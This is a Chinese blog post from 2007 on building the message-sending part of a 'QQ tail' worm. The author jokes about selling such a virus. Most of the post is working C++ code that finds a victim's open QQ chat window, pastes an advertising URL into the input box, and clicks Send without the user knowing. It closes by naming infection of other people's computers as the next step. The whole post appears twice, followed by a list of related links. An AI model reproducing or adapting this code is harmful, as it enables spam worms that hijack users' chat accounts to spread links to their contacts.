QQ2007尾巴病毒实现(一)
2007-03-01 11:53
330 查看
闲来无事,想研究一下QQ尾巴病毒,呵呵,有谁要,50块一个卖了,这下发达了(跟制作熊猫烧香的人学的) @@||
记得刚毕业的时候写过qq炸弹程序,原理跟qq尾巴病毒差不多,无非是查找到输入框和发送按牛的句柄;然后发送windows消息即可,只是qq2006开始屏蔽掉了richedit的settext past等等消息,所以之前采用的发送settext消息的方法已经不管用了,所以只好发送键盘事件了。
大致流程:查找输入框,粘贴文本,然后发送单击 发送按牛事件。
char strClassName[256];
::GetClassName(GetForegroundWindow(), strClassName, 255);
CString clsname;
clsname.Format(_T("%s"),strClassName);
//HWND hNMMainWnd = FindWindowEx(NULL, NULL,"#32770","与 永远的黑山 聊天中");
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL,"RICHEDIT",NULL);
//如果当前窗口为活动窗口时;
if(clsname == "#32770")...{
HWND hNMMainWnd = GetForegroundWindow();
if(IsWindow(hNMMainWnd))
...{
//EnumChildWindows(hNMMainWnd,MyEnumChildProc,NULL);
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL, NULL,NULL);
//printf("111111");
//char strClassName[256];
//::GetClassName(hNMMainWnd, strClassName, 255);
//printf(strClassName);
//第一次查找粘贴文本;
EnumChildWindows(hNMMainWnd,MyEnumChildProc1,NULL);
Sleep(100);
//第二次查找发送出去;
EnumChildWindows(hNMMainWnd,MyEnumChildProc2,NULL);
}
}
BOOL CALLBACK My::MyEnumChildProc1(HWND hwndChild, LPARAM lParam)
...{
//HWND iNMMainWnd= FindWindowEx(hwndChild, NULL, NULL, NULL);
//if(IsWindow(iNMMainWnd))
//{
//EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);
//}
TCHAR szWndTitle[1024];
//int nLen = 0;
int nLen = GetWindowText(hwndChild, szWndTitle, 1024);
::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
CString title;
CString classname;
title.Format(_T("%s"),szWndTitle);
if(title == "发送(&S)")...{
//::SendMessage(hwndChild,BM_CLICK,0,0);
//printf("--------->click");
}
char strClassName[256];
::GetClassName(hwndChild, strClassName, 255);
printf(strClassName);
classname.Format(_T("%s"),strClassName);
if(title == "" && classname == "RichEdit20A")...{
printf("--------->set text");
//::PostMessage(hwndChild,WM_CHAR,'中',0);
//发送组合键;ctrl+v
setMSG(hwndChild);
//设置焦点;
SetFocus(hwndChild);
keybd_event(VK_CONTROL,0,0,0);
keybd_event('V',0,0,0);
keybd_event('V',0,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
return FALSE;
}
printf(szWndTitle);
printf(" ");
//EnumChildWindows(hwndChild,MyEnumChildProc,NULL);
return TRUE;
}
BOOL CALLBACK My::MyEnumChildProc2(HWND hwndChild, LPARAM lParam)
...{
//HWND iNMMainWnd= FindWindowEx(hwndChild, NULL, NULL, NULL);
//if(IsWindow(iNMMainWnd))
//{
//EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);
//}
TCHAR szWndTitle[1024];
//int nLen = 0;
int nLen = GetWindowText(hwndChild, szWndTitle, 1024);
::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
CString title;
CString classname;
title.Format(_T("%s"),szWndTitle);
if(title == "发送(&S)")...{
::SendMessage(hwndChild,BM_CLICK,0,0);
printf("--------->click");
return FALSE;
}
char strClassName[256];
::GetClassName(hwndChild, strClassName, 255);
printf(strClassName);
classname.Format(_T("%s"),strClassName);
if(title == "" && classname == "RichEdit20A")...{
//printf("--------->set text");
//::PostMessage(hwndChild,WM_CHAR,'中',0);
//发送组合键;ctrl+v
//setMSG(hwndChild);
//keybd_event(VK_CONTROL,0,0,0);
//keybd_event('V',0,0,0);
//keybd_event('V',0,KEYEVENTF_KEYUP,0);
//keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
}
//printf(szWndTitle);
//printf(" ");
//EnumChildWindows(hwndChild,MyEnumChildProc,NULL);
return TRUE;
}
void My::setMSG(HWND hwnd)...{
CString msg = "欢迎访问黑芝麻网 http://www.heizm.com";
if(::OpenClipboard(hwnd))
...{
HGLOBAL clipbuffer;
char * buffer;
EmptyClipboard();
clipbuffer = GlobalAlloc(GMEM_DDESHARE, msg.GetLength()+1);
buffer = (char*)GlobalLock(clipbuffer);
::strcpy(buffer, LPCSTR(msg));
GlobalUnlock(clipbuffer);
SetClipboardData(CF_TEXT,clipbuffer);
CloseClipboard();
}
}
到现在为止,已经解决了如何自动发送尾巴的程序。
那么接下去就是怎么去感染人家的电脑了,靠,太不人道了,回头继续研究。
记得刚毕业的时候写过qq炸弹程序,原理跟qq尾巴病毒差不多,无非是查找到输入框和发送按牛的句柄;然后发送windows消息即可,只是qq2006开始屏蔽掉了richedit的settext past等等消息,所以之前采用的发送settext消息的方法已经不管用了,所以只好发送键盘事件了。
大致流程:查找输入框,粘贴文本,然后发送单击 发送按牛事件。
char strClassName[256];
::GetClassName(GetForegroundWindow(), strClassName, 255);
CString clsname;
clsname.Format(_T("%s"),strClassName);
//HWND hNMMainWnd = FindWindowEx(NULL, NULL,"#32770","与 永远的黑山 聊天中");
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL,"RICHEDIT",NULL);
//如果当前窗口为活动窗口时;
if(clsname == "#32770")...{
HWND hNMMainWnd = GetForegroundWindow();
if(IsWindow(hNMMainWnd))
...{
//EnumChildWindows(hNMMainWnd,MyEnumChildProc,NULL);
//hNMMainWnd = FindWindowEx(hNMMainWnd, NULL, NULL,NULL);
//printf("111111");
//char strClassName[256];
//::GetClassName(hNMMainWnd, strClassName, 255);
//printf(strClassName);
//第一次查找粘贴文本;
EnumChildWindows(hNMMainWnd,MyEnumChildProc1,NULL);
Sleep(100);
//第二次查找发送出去;
EnumChildWindows(hNMMainWnd,MyEnumChildProc2,NULL);
}
}
BOOL CALLBACK My::MyEnumChildProc1(HWND hwndChild, LPARAM lParam)
...{
//HWND iNMMainWnd= FindWindowEx(hwndChild, NULL, NULL, NULL);
//if(IsWindow(iNMMainWnd))
//{
//EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);
//}
TCHAR szWndTitle[1024];
//int nLen = 0;
int nLen = GetWindowText(hwndChild, szWndTitle, 1024);
::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
CString title;
CString classname;
title.Format(_T("%s"),szWndTitle);
if(title == "发送(&S)")...{
//::SendMessage(hwndChild,BM_CLICK,0,0);
//printf("--------->click");
}
char strClassName[256];
::GetClassName(hwndChild, strClassName, 255);
printf(strClassName);
classname.Format(_T("%s"),strClassName);
if(title == "" && classname == "RichEdit20A")...{
printf("--------->set text");
//::PostMessage(hwndChild,WM_CHAR,'中',0);
//发送组合键;ctrl+v
setMSG(hwndChild);
//设置焦点;
SetFocus(hwndChild);
keybd_event(VK_CONTROL,0,0,0);
keybd_event('V',0,0,0);
keybd_event('V',0,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
return FALSE;
}
printf(szWndTitle);
printf(" ");
//EnumChildWindows(hwndChild,MyEnumChildProc,NULL);
return TRUE;
}
BOOL CALLBACK My::MyEnumChildProc2(HWND hwndChild, LPARAM lParam)
...{
//HWND iNMMainWnd= FindWindowEx(hwndChild, NULL, NULL, NULL);
//if(IsWindow(iNMMainWnd))
//{
//EnumChildWindows(iNMMainWnd,MyEnumChildProc,NULL);
//}
TCHAR szWndTitle[1024];
//int nLen = 0;
int nLen = GetWindowText(hwndChild, szWndTitle, 1024);
::SendMessage(hwndChild,WM_GETTEXT,(WPARAM)256,(LPARAM)szWndTitle);
CString title;
CString classname;
title.Format(_T("%s"),szWndTitle);
if(title == "发送(&S)")...{
::SendMessage(hwndChild,BM_CLICK,0,0);
printf("--------->click");
return FALSE;
}
char strClassName[256];
::GetClassName(hwndChild, strClassName, 255);
printf(strClassName);
classname.Format(_T("%s"),strClassName);
if(title == "" && classname == "RichEdit20A")...{
//printf("--------->set text");
//::PostMessage(hwndChild,WM_CHAR,'中',0);
//发送组合键;ctrl+v
//setMSG(hwndChild);
//keybd_event(VK_CONTROL,0,0,0);
//keybd_event('V',0,0,0);
//keybd_event('V',0,KEYEVENTF_KEYUP,0);
//keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);
}
//printf(szWndTitle);
//printf(" ");
//EnumChildWindows(hwndChild,MyEnumChildProc,NULL);
return TRUE;
}
void My::setMSG(HWND hwnd)...{
CString msg = "欢迎访问黑芝麻网 http://www.heizm.com";
if(::OpenClipboard(hwnd))
...{
HGLOBAL clipbuffer;
char * buffer;
EmptyClipboard();
clipbuffer = GlobalAlloc(GMEM_DDESHARE, msg.GetLength()+1);
buffer = (char*)GlobalLock(clipbuffer);
::strcpy(buffer, LPCSTR(msg));
GlobalUnlock(clipbuffer);
SetClipboardData(CF_TEXT,clipbuffer);
CloseClipboard();
}
}
到现在为止,已经解决了如何自动发送尾巴的程序。
那么接下去就是怎么去感染人家的电脑了,靠,太不人道了,回头继续研究。
相关文章推荐
- QQ2004的Rich句柄查找方法以及尾巴病毒的实现
- 简单实现本地QQ聊天器(最简单版本)
- hadoop找出QQ共同好友算法实现
- Android -- 自定义ViewGroup+贝塞尔+属性动画实现仿QQ点赞效果
- Android使用SwipeListView实现类似QQ的滑动删除效果
- 基于Tcp/ip Scoket套接字实现类似 QQ聊天
- 自定义Gallery实现QQ附近的人和京东金融选择存款时间效果
- 利用QQ轻松实现远程控制
- andriod 实现新浪、QQ场地、朋友微信圈、微信朋友分享功能
- JS实现页面弹出类似QQ新闻的提示框
- Android自定义view系列之99.99%实现QQ侧滑删除效果实例代码详解
- 实现QQ在线交流
- QQ顶部消息与电话切换栏实现(UI美化)
- Android 仿QQ、新浪相册的实现
- QQ登录的实现方式
- 实现QQ窗体的缩入伸出功能[转载]
- C#仿QQ皮肤-GroupBox 控件实现(一)
- C#中实现类似QQ的气泡提示
- 一步一步SharePoint 2007之十一:实现Form认证(1)——生成用户数据库
- 一步一步SharePoint 2007之十九:解决实现注册用户后,自动具备访问网站的权限的问题(1)——配置Provider